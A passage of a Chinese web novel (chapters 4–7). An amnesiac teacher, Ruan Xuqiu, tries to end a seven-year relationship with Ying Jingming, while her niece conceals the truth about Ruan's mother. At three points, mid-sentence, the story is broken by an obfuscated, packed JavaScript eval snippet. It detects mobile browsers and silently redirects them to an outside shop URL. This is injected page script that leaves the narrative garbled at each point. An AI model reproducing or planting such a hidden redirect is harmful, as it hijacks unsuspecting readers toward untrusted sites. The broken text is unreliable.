这些,都是应景明真真切切感受到的。 她们之间灵魂契合,□□更契合,这七年,她们吵吵闹闹一路走来,感情好得一如既往。至少在此之前,她一直以为她和阮序秋如果没有外界因素的阻挠,能够在一起一辈子。 但也许是情感方面太顺遂的缘故,来自外界的阻力反而愈演愈烈。 直至一年前,她们不得不分开。 然而就算是这样,应景明也不曾怀疑她们之间的感情,怀疑也许阮序秋心里还藏着另外一个人,那个所谓的白月光。 思绪走到这里,应景明耳边忽然响起一个声音: “听说学姐过阵子就要回国了,应老师,你得看好阮老师了,别到时……” 到时什么?不记得了,那时的她完全没把这件事放在心上。 “喂,姐,你听到了么?” 应景明恍然回神。 水瓢搁在水泥台面上,她望向卧室的方向,目光幽深,“我会把她带回家,我被拒绝的事不准告诉咱妈。” 无论如何,既然这七年是她的,那么未来七年、十七年、二十七年都将会是她的。 *** 应景明先走了,说有事得回家一趟,明天再来接她上医院看脑子。 说得阴阳怪气,阮序秋白眼翻到天上去,“我有手有脚,可以自己去。” “你说的自己去医院是指排队预约结果发现没有当天的号,只能灰溜溜地回来等过两天再去是么?” 应景明说别想糊弄她,另外嘱咐明玉好好照顾她这个脑子有病的姑姑才走。 周末医院人多,这话其实也没错,可阮序秋气不过,非要上软件自己看,好歹被阮明玉劝下来。 她现在是病人,还是不知道伤着哪里的病人,最好一点别轻易动弹。 午饭和晚饭都是点的外卖,客厅窗边摆着一张小圆茶几和两张椅子,她和阮明玉坐在两侧,另外烧上一壶水,沏上两盏茶,一面吃饭一面闲聊。 她们家里一直以来都是喝茶的,那罐铁观音的茶罐永远满满当当,如今却见了底,只剩一点茶沫。 和这明媚的天气一样,一切给阮序秋的感觉就像做梦一样。 阮序秋心不在焉,听明玉说她如何优秀,工作又如何顺利,像听别人的故事,没有一点实感。 她怎么就突然来到七年后了?怎么就和死对头应景明在一起了? 阮序秋想不通,也没办法接受。 她想,会不会这一切只是一场荒诞的梦,再次睁眼,她还是那个二十一岁的阮序秋,她结束了人生中第一场暗恋,但是她对未来充满希望。她没有出柜,人生规整而平淡。 也许她真的太累了,趴在小几上想着这些,没一会儿就睡着了。 只从很远的地方听见一个声音:“别担心,我们不会分手,就算你姑姑想也绝对不可能。” 4. 第四章 半梦半醒间,阮序秋感到身体一轻。 似乎有人抱起她,过了一会儿,将她轻轻放在一个柔软的地方,一只熟悉的手轻抚着她的头发。 是妈妈么? 不,不对,从小到大阮序秋从没被这样对待过。 但……不是妈妈又会是谁…… 阮序秋没有办法细想下去,前所未有的安心让她很快沉入梦乡。 梦里,阮序秋似乎又回到了七年前那个滂沱大雨的春天。 她的耳边是雨声,特别特别大的雨。 没错,应该是这样才对的。不是晴天,而是雨,特大暴雨。 阮序秋惺忪睁眼,周围还是那辆昏暗的出租车,雨水将车窗浇成雨幕,车广播还在播报,还是那个红色暴雨预警的新闻,司机说今年这个春天见了鬼了,下这么大的雨。 “谁说不是呢。” 接话人坐在她的旁边,阮序秋眯眼看去,朦朦胧胧看见应景明的脸。 对,确实是应景明,每次部门聚餐送自己回家的人都是应景明。因为她们顺路,她们同专业,而自己因为没朋友总是落单,上面便将接送自己的任务交给了应景明。 今天晚上也是如此。 车开得很快,阮序秋喝醉了,转弯的瞬间,她的胃里忽然间翻江倒海。 一旁应景明忙捂住她的嘴:“师傅!停车!快路边靠停!” 车停下了,她趴到门外呕吐。 应景明拍着她的背,嘴也没停下,“我说你啊,把自己搞得这么可怜干嘛,暗恋罢了,大不了换个人。” 特别郁闷特别无语的语气,混在雨声里,像小时候电视的黑白雪花声。 重要的是,她的语气里不存在莫名其妙的爱意。 阮序秋没有反驳,此时此刻她只觉得松了一口气。 就应该是这样才对,她们怎么可能在一起,还是七年,还是虐恋情深,太不切实际了。 她怎么会做这么诡异的梦,真是奇怪。 不过没关系,梦醒了,她们还是死对头,她不喜欢应景明,应景明也不喜欢她。 阮序秋的胃终于吐空了,喘息片刻,擦了擦嘴唇,用一贯的刻薄语调说:“我还能暗恋谁,难道暗恋你么?” 奇怪的是,应景明却在瞬间沉默,背上的手也顿住。 雨还在下,特别大,特别不真实的大。 阮序秋没来由感到愤怒,又或者说是不安害怕。 她猛然回头,但是才转一半就被什么东西挡住。 那是应景明的另一只手,她一只手拍着她的背,另一只手帮她挡着头上淋下来的雨,身体靠过来,手肘撑着车缘,姿势有点狼狈有点滑稽。 应景明意味不明地看了她一会儿,然后避开视线。 她的目光带着潮湿的雨意…… *** 雨终于停了,阮序秋从怅然若失中醒来。 这一觉睡得绵长,惺忪睁眼,她正躺在卧室的床上,眼前还是那棵金灿灿的白蜡树,还是阳光灿烂,没有一点雨,和梦中的春天一点也不一样。 而她梦中的雨声其实是枝叶摇曳的簌簌声。 果然……是梦啊…… 她没有回到七年前,她还在这里,昨天的一切才真不是梦。 她确实和应景明在一起,并且确实和她发生了各种不该发生的事。 阮序秋满心的绝望,将脸埋进枕头里无声哀号。 大概半分钟,阮序秋才得以冷静下来,沉沉呼气,脑海中浮现梦境中的昨天。 以及,大雨里应景明看着她的眼神。 昏暗的光线中,那双眸的眼底似乎隐藏着一些她看不懂的情绪,让人心口发酸。 大学期间,应景明曾经用那种眼神看过她么?阮序秋觉得大概率没有。 那天晚上……该不会发生了什么吧? 她喝醉了,然后应景明把她…… 阮序秋脑海中浮现□□交缠的画面,不禁倒吸一口凉气。 等等,该不会她们就是这么开始的吧?!! “姑姑,姑姑?” 门外的呼喊声骤然传来,“起了么?景明姐说一会儿要过来接我们哦。” 是侄女明玉,阮序秋一个激灵回过神,这才注意到墙上时钟的时间。 竟然已经十点多了! “我这就起了!” 自有记忆以来,阮序秋就没有睡到这么迟过,她一骨碌爬起来。客厅,她的侄女阮明玉正对着电脑敲敲打打,见她终于出来,抬头笑道: “整整十八小时,姑姑,你昨天干嘛去了,累成这样?我还以为你晕死过去了呢。” 阮序秋心里咯噔一下,失手挤出来一大坨牙膏。 她手忙脚乱拿纸巾擦去多余的部分,扬声回外面:“可、可能昨晚没睡好吧。” 特别荒唐的理由,天知道她昨晚睡得有多好,不过好在明玉没有继续追问下去。 这个早晨一切都乱七八糟的,等吃到熟悉的味道,阮序秋才勉强定下心神。 早餐是附近早餐店的小笼包,买回来温在锅里,和七年前一样,只是七年前她负责买,而明玉才是负责吃的那个。 阮序秋坐在桌前,两眼无神地咀嚼着。 就算事实证明眼前的一切都是真的,可阮序秋还是没有一点实感。 试想一下,如果七年前那天晚上她们之间真发生了什么,那么最后的结果也只会像昨天早上一样,由自己报警落幕。 而且阮序秋的妈妈是重点高中的高级教师,自小就严格要求阮序秋的方方面面,例如每次升学考试必须完美发挥,大学毕业必须保送研究生,未来职业方向即当老师。就连聚会应景明顺路来接她,都要把对方什么家境什么来历问个底朝天。 怎么可能允许自己跟她跑出去开房,还因此在一起。 既然如此,她又是怎么和应景明在一起的? 阮序秋思忖无果,看向侄女。 察觉到她的目光,阮明玉问:“怎么了?” “……没什么。” 估计就算问也问不出什么,她们在一起的时候侄女才多大。可问题是她一没朋友,因为刻板的作息和作风,大学室友也不是很喜欢她,难道只能问应景明本人么? 不行!要是问了那家伙一定以为自己还喜欢她! “对了明玉,一年前我和应景明要结婚的事,除了你都有谁知道?” 阮序秋的想法是,能从自己这里知道这么私密的事,跟自己的关系肯定差不了,如果真有这么一个人,那么就从对方下手。 可谁知侄女答:“大家都知道啊。” “大家……都知道……?” 阮明玉理所当然点头。 阮序秋目瞪口呆,“你奶奶也知道?” 她顿了一下,再次点头。 “……”阮序秋哑然了,她根本没有设想过妈妈知道她是女同的可能性,光是想象她都感觉眼前一黑。 扪心自问,现在的她根本做不到和妈妈坦白这些,七年后的自己究竟是怎么想的?为什么可以那么……该说勇敢么? 侄女见她久久沉默,微微一笑,“姑姑,结婚的事还是你亲口跟奶奶说的,为了和景明姐在一起,一年前你和奶奶因为这件事大吵了一架,然后、” “好了别说了。” 阮序秋一个头两个大,这才第二天,怎么麻烦事就一件接一件。 “难怪,我说你奶奶周末怎么没回家,我还以为她是回老家了。”阮序秋扶额,“明玉,你奶奶是不是不认我这个女儿了?” “差不多……” “她现在人呢?” “额……说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004769|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是环游世界去了……” 意料之中的答案,“是这样……” 按照她妈的性格,没把她扫地出门都算是善良了。 阮序秋本来还头疼不知该怎么处理和应景明的关系,眼下发生了这种事,来看果然还是得分手才行。 她思索片刻,宽慰明玉道:“不好意思明玉,姑姑不知道自己以前竟然那么不懂事,不过你放心,姑姑会尽快把你奶奶从国外哄回来。我好歹是你奶奶的亲生女儿,她会原谅我的,到时候我们一家就能团聚了。” 她没和侄女明说分手的事,但心里已经暗暗决定。 而至于怎么分…… 七年的感情不是说断就能断的,为此,她需要和应景明好好聊聊。 阮序秋仔细盘算应该如何措辞,没有注意阮明玉久久沉默,以及眉眼之间一层罕见的阴霾。 *** 说曹操曹操到,说到这里,门外就传来敲门声。 打开门一看,来人果不其然正是应景明。 她像换了一个人,也可能因为她今天人模狗样地打扮了一番的缘故,整个人特别容光焕发,好像发生了什么天大的好事。 自上而下,那头蓝黑卷发蓬松随意地扎到脑后,上身是浅色的立领衬衫,外面一件紧身黑马甲,搭配黑色格子微喇长裤,整个人细细长长,慵懒扶着墙,身段显得格外好看。 就是她那一脸嚣张挑衅看得人很是不痛快。 “阮老师应该不是不敢跟我上医院见真章吧。” 她一撩头发丝,颈间那些爪痕就那样光明正大地暴露在阮序秋的眼下。 阮序秋各种皱眉,不敢相信自己竟然因为这么一货,而把亲妈气跑出国。 果然得离她越远越好,如果可以,最好连记忆都别恢复了,不然可能还得跟她纠缠不清。 “有什么不敢的,走就走。”阮序秋回头抓上包就出门,没出几步又回头,“明玉,你在家里等我,我有些话要单独跟你景明姐谈谈。” 她所谓的“谈谈”,是想在一个相对公开的场合,和应景明把分手这件事板上钉钉地敲下来。可话音落下,眼前侄女的神色就肉眼可见地变了。 她眸含期许,意味不明地笑着摆手:“去吧姑姑,我在家里等你。” 阮序秋推眼镜,不知从何说起。 划清界限的事不好跟侄女明说一说,她巴不得她们纠缠一辈子,说了可能还得花力气撮合她们。 想来想去憋出一句:“不是你以为的那个谈,就、客观意义上的谈。” 阮明玉不出所料想歪了,问也不问立马答应下来,“明白明白,姑姑,你们好好谈,我一会儿还要回趟学校,就不当你们的电灯泡了。” “都说不是那个意思了!” “我懂的~” “你个小孩子家家懂什么了?” “哎呀,你们赶紧走吧,我是绝对不会打扰你们的。”说着,一齐把她们两人往门外推。 阮序秋百口莫辩,被侄女笑着推出了门。 楼道里的光线有些暗,应景明就等在那里,身姿慵懒,像只等待猎物踏入陷阱的漂亮猎豹。 阮序秋深吸一口气。 冷静,她告诫自己。昨天什么都没发生,你们之间清清白白,现在你所需要做的只有说出你的心里话,然后结束这段关系。 无论这只猎豹多么迷人,都不能再被拖回那个错误的七年。 阮序秋推了推眼镜,昂首挺胸向其走去。 然才踏出门槛,手机就在这时响了起来。 阮序秋心里咯噔一下,格式化的缘故,来电显示只有一串数字。 她小心翼翼接通:“喂?” “喂,阮老师,进度如何?拿下应老师了么?” 电话那头,一道颇为轻松愉快的女声如是问。 5. 第五章 阮序秋懵了,“啊?” “啊什么啊,昨晚是不是颠鸾倒凤,不知天地为何物了?我就说嘛,战袍一穿,小小应老师还不是手拿把掐,阮老师,你准备怎么谢我?” 女声越说越兴奋,可阮序秋只觉一头雾水。 “战、战袍?” “哎呀,就那套黑色蕾丝套装啊!你要是需要的话,我还有更性、” “啊啊啊啊!那个!就是说!”阮序秋瞬间炸毛,各种手忙脚乱打马虎眼,生怕被应景明和侄女听见听筒里的女声。 结果反应过度,面前二人齐齐向她投来奇怪的目光,电话那头也问:“怎么了?该不会你们没复合吧?” “这、这件事一会儿再说,我还有事,我、挂了拜拜。” 挂断电话,空气瞬间陷入凝滞。 阮序秋轻咳,强装镇定来到应景明的面前,“是10086。” 她没有去看应景明的目光,只知道有道视线正目不转睛地盯着她。 阮序秋尴尬得脚趾扣地,但也只能昂首挺胸,努力假装无事发生。 “我先说好,不管脑子有没有问题,今天我只做检查,等检查完,我们找个地方谈谈。” 应景明没反驳也没吭声。 这个人一双戏谑的眸子正明目张胆忍着笑,好似看穿了什么。 “你笑什么?” “没什么,只是有点好奇阮老师究竟想要跟我谈些什么。” 她笑盈盈,“阮老师”这三字缕烟雾似的从她唇间暧昧地吐出来,低低的,带有一种非比寻常的亲昵。 阮序秋莫名觉得,也许她曾无数次用这种腔调唤她,但限定地点一定是在床上。 “就那套黑色蕾丝套装啊!”那道女声回到阮序秋的耳边。 黑色蕾丝…… 黑色…… 阮序秋本就不自在,联想到这里,瞬间脸颊发烫。 正要发作,身后明玉冲她们喊:“不准吵架,要好好相处!” 应景明更是一把搂住她的肩,手掌锢着她。 “我们会的。”她笑眯眯,“对吧,阮老师。” 人与人之间的社交距离很微妙,这个程度,阮序秋已经能够感受到她的气息,她身上的香气,以及其它一些难以言说的东西,比如荷尔蒙之类的。 应景明比她高,且她的身体似乎有过一定的锻炼,手指细长但是很有力量。 阮序秋不受控制进一步联想下去。 她连忙挥散脑中肮脏的念头,努力扯动嘴角,“当、当然……” 阮明玉看了她们一会儿,终于满意点头,踅身回去。 转身的瞬间,阮序秋忍无可忍将应景明用力推开。 她脸颊涨红地瞪着应景明。 应景明撞在身后斑驳的墙面上,意外在她眼底一闪即逝,站稳身形,那眸中仍旧含笑。 阮序秋更为脸热,嗔她一眼便向楼下跑去。 淮海的初秋还带着几分秋老虎的暑气,可老房子凉爽,楼道里散满斑驳光影,起风了,周遭树影轻轻晃动,窗外那棵白蜡树也跟着摇,黄绿色扑簌簌落在树下停着的那辆扁长黑色SUV上。 那辆车子真够惹眼,什么牌子不知道,只知道看上去特别贵,锃光瓦亮地停在这片八百年没翻新过的老破小里,远远望去,类似某种巨大的远古昆虫。 阮序秋一面走出楼道,一面将那个陌生号码输入微信搜索通讯录,正好碰见几个带孩子的奶奶对着那辆锃亮的黑色SUV指指点点: “这车前晚就轰隆隆开进来,吵死个人嘞!” “那不可能,学区房哪有这种事情!” “真的呀,大概十一二点,你说那个时间、哦哟,是阮老师!” 阮序秋突然被叫到名字,躲都来不及躲。 “你们好。” 阮序秋表情僵硬,对方没丝毫察觉,继续热情寒暄:“阮老师前晚有听见伐,就那辆车的引擎声。” “对对,老师可不能睡不好,好歹今天是周末,明晚再有这种事,我看得去物业投诉!” 阮序秋笑呵呵,不知道应该说些什么。 果不其然,待应景明从楼道里出来,就掏出车钥匙开锁。 那辆黑色生物随之滴滴两声。 很显然,车是应景明的,前晚也就是她和应景明复合那晚,她给应景明打电话,应景明急匆匆赶来,然后她们…… 走过她的身边,应景明猝不及防拉开车门冲她回头,“愣着干嘛,走啊,别跟我说你心虚了。” 大妈脸上的嫌弃僵住,眼神在两人之间来回扫。 阮序秋耳根发烫,匆忙鞠躬:“前晚不好意思打扰了,但我真没傍大款,我、我跟她不熟,不过我会让她注意的!” 说完便逃也似的钻进了副驾驶。 *** 阮序秋坐在副驾驶座,窗外秋高气爽阳光明媚,实在是个好天气,和记忆中无数个秋天一样。她的心情却不如这天气一般明朗。 阮序秋刚才得知那个陌生号码的主人姓许,在她微信里的备注叫许老师。 看上去并不是多么亲近的朋友,应该只是学校里的同事,可奇怪的是,自己却跟她说了那么私人的事情。这让阮序秋有些拿不准该不该将心里那些疑问抛给对方。 牵扯到工作,阮序秋必须得谨慎一些。 她小心翼翼在对话框编辑文字,没发出去,一旁应景明却透过车内后视镜笑看她。 “许老师是我办公室的同事,她是不是在电话里说了什么?” 阮序秋浑身一凛,忙捂住手机屏幕,“都说刚才是10086了,应景明,你干嘛偷看我手机!” 阮序秋戒备起来,想到方才的事,更是气不打一出来,“还有,扰民的是你,人家竟然以为我傍大款,你准备怎么赔偿我的名誉损失?” “真的非常不好意思,但前晚是你主动约我的。” 她目视前方,眼尾密密的睫毛笑得上扬,“另外说一下,阮老师,我记得你的号码似乎是电信的,移动打电话给你干嘛?” 阮序秋怒从心头起,当即就要发火,可谁知应景明掏出手机。 “诶,冷静点,不然明玉该担心我们没有好好相处了。” 她将拇指放在明玉的头像上,一副告状的架势。 阮序秋噎住。 虽然如今明玉已经成年,可在阮序秋的眼里,小孩就是小孩。 她不想给明玉添麻烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004770|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,犹豫了一会儿,咬住后槽牙:“好好相处是吧,行,那我们就好好相处。前面药店停一下。” 她摆出那副熟悉的战斗状态。应景明忽然有种不好的预感,连瞥了她好几眼,“干嘛?” 阮序秋不语,去了又回,手里拿着一瓶小型喷剂。 “什么东西?” “防狼喷雾。” “防、防狼?”应景明目瞪口呆,失笑,“阮序秋,这算好好相处么?” “这是我的底线。”阮序秋在副驾驶座的皮革里正襟危坐,手指紧紧攥着喷剂,跟攥着贴身武器。 “从今天起,我和你之间必须保持一米以上的安全距离,不然我就会冲着你的眼睛、”她斜睨着她按下喷剂,呲的一声,水雾消散在空气中,气味真够刺鼻,“这样。” 收回动作和目光,阮序秋暗下决心必须快刀斩乱麻,不然等妈妈回来,发现她不仅没和应景明分手反而还复合了,就真的无法挽回了。 “总之,你这家暴癖色狼离我远一点。” 可谁知应景明不光一点不生气,脸上那种让人浮想联翩的表情还更加浓郁了,像泡化在一杯愉快的酒里面。 “二十一岁也不小了,阮序秋,你该不会没见过吻痕是什么样的吧。”应景明皱起眉,以一种哀婉可惜的神色摇着头。 阮序秋很想大声反驳,话到嘴边却被噎得发不出声音。 应景明知道被自己说中了,眉眼弯成一个好看的弧度,“片子和电影呢?也没看过?” 阮序秋越来越热,脑子热,脸颊也热,耳根也热,特别刻意地不去看她,可应景明的笑声还是连同香气飘到她的身边,就像方才楼道里那样。 阮序秋没有喷香水的习惯,就连这也让她觉得轻浮,应景明却是那种愿意每天换一种香水喷的人。她的香气和她这个人一样招摇,仅仅只存在着,就好像是刻意而为之的魅惑,特别招人讨厌。 “那些不干不净的东西难道是我必须要看的?” “那倒也不是。”应景明不会说刚交往那年她们曾经一起看片子,那时阮序秋还信誓旦旦保证自己绝对看过,说自己好歹二十一了,“只是有点意外,没想到阮老师还有这样的一面。” 哪样的一面?阮序秋没问,也不想知道。 她知道自己古板老派,和同龄人格格不入,她不打扮不喷香水,甚至引以为耻,在旁人眼中简直就像一个怪胎。 这七年她变了很多,越来越被某些因素同化,或许是生活环境,或许是应景明,连她自己都感到陌生。 这一切的改变都让她不舒服,让她没办法招架。 “随你怎么说,反正……”她抓紧喷雾,像抓紧救命的稻草,“我什么不记得了,请不要再一副好像很了解我的样子。” 车辆行驶得平稳,窗外城市的街景迅速向后流淌。 区区七年而已,可这座阮序秋长大的城市同样变得陌生。 不过没关系,只要和应景明划清界限,再接上妈妈回国团聚,她的生活马上就能恢复如初。 “其实你没必要这么抗拒我。” 应景明的声音却在这时悠悠响起,“阮序秋,你不妨试想一下,为什么自己会跟我在一起七年之久。” 6. 第六章 没错,她们在一起了七年,不是一年两年,而是整整七年。 七年不是一个小数目,可以说她大半个青春都在里面了。 阮序秋不期然想起昨天侄女对她说: “……就这么分开你会抱憾终生的!” ……真的会么? 阮序秋心底闪过些许不安。过去七年就像一根细小的刺,扎在她的心里。 但她难道还有其它选择么? 她总不能为了一个根本不记得的恋人而放弃生身母亲。 阮序秋看着窗外。 窗外风景几番变化,最终落在当地一家还算有些名气的私立医院门前。 汽车缓缓停下了。阮序秋将应景明那番话,以及心中多余的顾虑抛到脑后,开门下车。 很快就到她们该说清楚的时候了。 *** 做完全身检查正值饭点,她们来到医院附近一家餐馆。 阮序秋没什么胃口,只点了一份馄饨。她看着坐在对面的应景明。 昂贵的应景明全然与周围格格不入,她应该坐在西餐厅才对,自己才适合这样一间简单平凡的街边小店。她不需要豪车,更别提让人望而生畏的所谓特权。 如果不是情况特殊,也许她根本没有踏入私人医院的机会,那对她来说跟浪费钱没区别。 说是这么说,汗却一道一道沿着额角往下淌,频频打断她的思绪。 初秋的下午,日头越来越热,阮序秋穿的是薄款高领,即便如此,也已经闷得她满头大汗,浑身燥热。 她用手给自己扇着风,毫无成效,还是热。 反观应景明,明明那么格格不入,可她坐姿也闲适,点菜的架势也闲适,特别熟稔地和老板搭话,问什么什么好吃,那就来份大排盖浇饭,不知为何,竟然没有丝毫不适应的迹象。 这会儿注意到她扇风的动作,还招手招呼老板开一下风扇。 “不用。”阮序秋果断拒绝,“我们还是先来谈谈正事吧。” 应景明饶有趣味扬唇一笑,正过身来托着腮,“洗耳恭听。” 她最喜欢看阮序秋正经严肃的样子,和她背地里、尤其是那些只有自己知道的一面特别反差。 她一直觉得这样的她格外性感。 不过下一秒应景明就笑不出来了。 她应该猜到的,现在这个阮序秋能对她说什么好话。 “昨天早上的事我可以既往不咎,但是、” “应景明,这七年我们之间的事你得当作没发生过。” 应景明反应了一会儿,上身后靠,抱胸,挑眉。 不知为何她表现得异常平静,阮序秋被盯得有那么点心虚,但只有一点点,她轻咳两声,“一来,我已经失忆了,二来,明玉说我们之前分手过一次。” “我虽然不记得了,但也清楚我们会分手就说明感情肯定是存在问题的。既然如此干脆别复合了,这对你对我都好。” 依旧认真,依旧严肃。 可惜这话实在不怎么中听。 “综上所述,我们已经分手了,眼下我又正好失忆了,吃完这顿饭,你我就桥归桥路归路吧。” “我也会当作什么都没发生,你不准再跟我提过去的事情。” 阮序秋站起身,俯视着应景明。 应景明呢,还是抱胸,还是那张兴致盎然的脸,自下而上,目光烫人。 阮序秋又莫名发热起来,从头脑到小腹。 她避开视线,整了整衣缘下摆,“就算你还喜欢我,也不行。” 说完,转身匆匆离开。 *** 脑部的ct报告还得两三天才出得来,简单吃过午饭她们就收拾回去。 回去还是坐应景明的车,城市的周末哪哪儿都堵,汽车开开停停,直到开上高架才稍微见好。 这个季节还没到开空调的时候,四面窗户齐齐开了一条缝,应景明开得快,那风呼呼巨响,混着驶过两侧声屏障所发出的嗡嗡风切声,听得人心乱。 阮序秋迎着风,大脑逐渐放空。 说实话,她有些迷茫。 明明该说的话都说了,却没有预想中的踏实。 她不禁开始怀疑,仅凭她单方面的说辞,和应景明这样真的算是划清界线了么? 过去七年的感情真的能够那么简单地被她切割掉? 阮序秋转头看向应景明,应景明开着车,她的侧脸仍旧平静,唇角仍旧带着浅笑,和往常没有丝毫两样。 好像什么异常事件都没发生,她们还是情侣,或者她们还是死对头,还是普通同学。 阮序秋实在不知道应该怎么界定她们之间的关系,因为自从阮序秋撂话以来,这个家伙就没多说过一句话。 半个小时前,阮序秋以为应景明会想方设法挽留自己,所以当她追上来的时候,甩开她的手特别义正词严告诫她,说都是成年人,纠缠不清就没意思了,说你长得好又有钱,一定能够找到比我更好的女朋友,诸如此类。可应景明呢,她只是笑笑,说: “我是想说我的车停在那边,你走错了。” “我、我可以自己回去!我们都没有关系了,不用你送!” “这附近地铁远,公交车回去还是转乘,阮老师,你确定不蹭我的车?” 阮序秋被噎得一口气上不来,只能上车。 而对于自己口中的划清界限,应景明始终没说可以,也没说不可以。 她好像默认了,甚至好像压根没放在心上。 但……这也太奇怪了。 还是说因为自己说得太决绝,所以她心灰意冷了? 其实仔细想想她也没做错什么,如果不是自己莫名其妙失忆,可能她们连证都领了。 毕竟交往了七年,什么鬼的失忆,实在是意外中的意外。 想到此,阮序秋默默将身侧的窗户关上。 耳边的风声少了大半,她的心也静下来。 “我……”阮序秋犹豫开口,不知紧张些什么,轻咳两声才继续说:“我可以答应你一个条件,看在你那么爽快答应我的份上。” 话音落下,应景明脸色微变。 阮序秋连忙补充:“除了和我复合之外!” 应景明轻轻一笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004771|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不是那种不屑的笑,更不是愉快的轻松的笑,不知道是不是她的错觉,她总觉得应景明这个笑有点可怜,有点……凄凉。 她道:“没事,不用。” 还有这语气,也是带着万般的委曲求全,仿佛已经心碎了千百回。 阮序秋心里咯噔一下。 果然啊。 她果然是做得太过分了。 阮序秋虽然不近人情,但并不是一个不讲道理的人。 这件事确实是她对不起应景明,适当作出弥补也是应该的。 是的,她该死的心软了,全然忘记此前应景明给她带来多少麻烦。 如果重来一次,打死她也不可能对这个家伙心软!然而事实偏偏与之相反。 “用!当然用!只要不是复合,其它条件只要我能做到,你放心提!我们毕竟有这七年的情分在。” 她认真地看着应景明。 应景明似乎终于被她打动了,眉眼稍微柔和了几分。 她透过车内后视镜看向她,目光难得温柔。 狗屁温柔!啊啊啊!天杀的应景明简直该死! “真的么?” “真的!” “阮老师是个信守承诺的人,应该不会临时反悔吧。” “你觉得我像那种人么?” 应景明望了她片刻,莞尔一笑,“好,我信你。” 得到准话,阮序秋心里那块大石头终于落地。 她没有注意到应景明的手指正无意识敲击着方向盘,以及唇边浮现一抹狡黠的笑意。霎时间,她只觉得这天怎么这么蓝,这云怎么这么白,还有这……这窗户怎么这么干净。 她高兴得有些飘飘然了,满心都是即将开启新生活,将麻烦事抛到脑后的愉悦。 她想,就算是七年后,只要没有应景明的存在,努努力,应该还是能够无缝衔接上的。 她是阮序秋,一切麻烦对她来说都不会是问题。 下高架,汽车进入大学城,向白马湖小区驶去。 转进林荫道,阮序秋特别贴心地提醒:“进去不好掉头,停小区门口就好。”车停下还对应景明说了声谢谢。事后看来,阮序秋真该扇那时的自己一个大嘴巴才对。 关上车门,阮序秋面对蔚蓝的天空和清新的空气深吸了一口气。 她冲应景明挥了挥手,得到回应后,愉快而认真地转身向小区大门走去。 这段莫名其妙的恋情终于在这一刻结束了,阮序秋整个人神采飞扬,精神焕发,连脚步都轻快了不少。 然而没两步,就被一个声音叫住。 “阮序秋。” 阮序秋心里莫名咯噔一下。 回头,看见应景明一只手搭在方向盘上,那双浓艳的眼眸里不再有之前的可怜与凄凉,只剩下一种洞悉一切、稳操胜券的平静。 “……还有事?” 阮序秋蓦然戒备,可应景明只是微微一笑,“没事,我们明天见。” “?” “进去吧。”她也挥手,笑眯眯地弯着眉。 阮序秋奇怪了一瞬,忙不迭逃也似的离开。 7. 第七章 应景明没立刻离开,她坐在驾驶座,透过前挡风玻璃安静地看着那抹身影离去。 今天这个天气实在太好了,好得不可思议,明亮澄澈的淡金色洒在阮序秋的身上,她身上还是昨天那件沉闷的灰色高领,阳光底下背脊挺得笔直,步伐却比平时要快上一些,就连脑后总是梳得纹丝不乱的束发,似乎也透着一股难得的轻快劲儿。 应景明的嘴角不受控制地扬起来,就这么看着,直至身影彻底被层层树影所吞没。 又静静坐了几秒,应景明重新发动汽车,引擎低沉的轰鸣声混入这片市井的嘈杂里。 “嗡——”手机在这时发出振动。 电话接通,应景明淡淡喂了一声。 “景明姐,情况怎么样了?”电话那头传来阮明玉略带犹豫的声音。 应景明缓缓掉头,“不知道,报告还没下来。” “我是说你和姑姑的情况,谈得怎么样了?” “这个啊,”应景明想到方才那场面,忍俊不禁,“差不多出身未捷身先死的程度,你姑姑说要和我划清界限呢。” 那头默了片刻,“这样啊……” 阮明玉有心安慰,可听应景明语气轻松,一时又不知从何说起。 她似乎还挺开心。 应景明见出她的为难,反而安慰她:“我没事,不用担心。明玉,你姑姑也不会有事的。” “……”那边却没丝毫松缓的迹象,反而更为低郁沉默。 “还有其它事情?” “嗯,还有一件事……”阮明玉沉下话音,“景明姐,姑姑她……有没有跟你问起奶奶?” 应景明握着方向盘的手下意识地收紧,“还没有。你是怎么跟她说的?” “我没说,”她顿了顿,“我说不出口。” 应景明愉快的心情在这一刻戛然而止。 斑驳树影如流水一般不断在车顶在她身上淌过。应景明放慢车速,握着手机一言不发。 她望着车前方,一瞬间,思绪似乎又回到了一年前她们分手的那个夜晚。 那天夜里大雨滂沱,阮序秋头也不回,走得决绝。 “景明姐,你说我们、” “这件事短期之内不能让她知道。”应景明言辞肯定,“明玉,你是怎么跟你姑姑解释的?” “我说奶奶环游世界去了,姑姑没有怀疑。” “行,那往后就继续沿用这个借口,等后面你姑姑逐渐适应了现在的生活,我们再找机会告诉她真相。” “好……” “东西都处理了吗?” 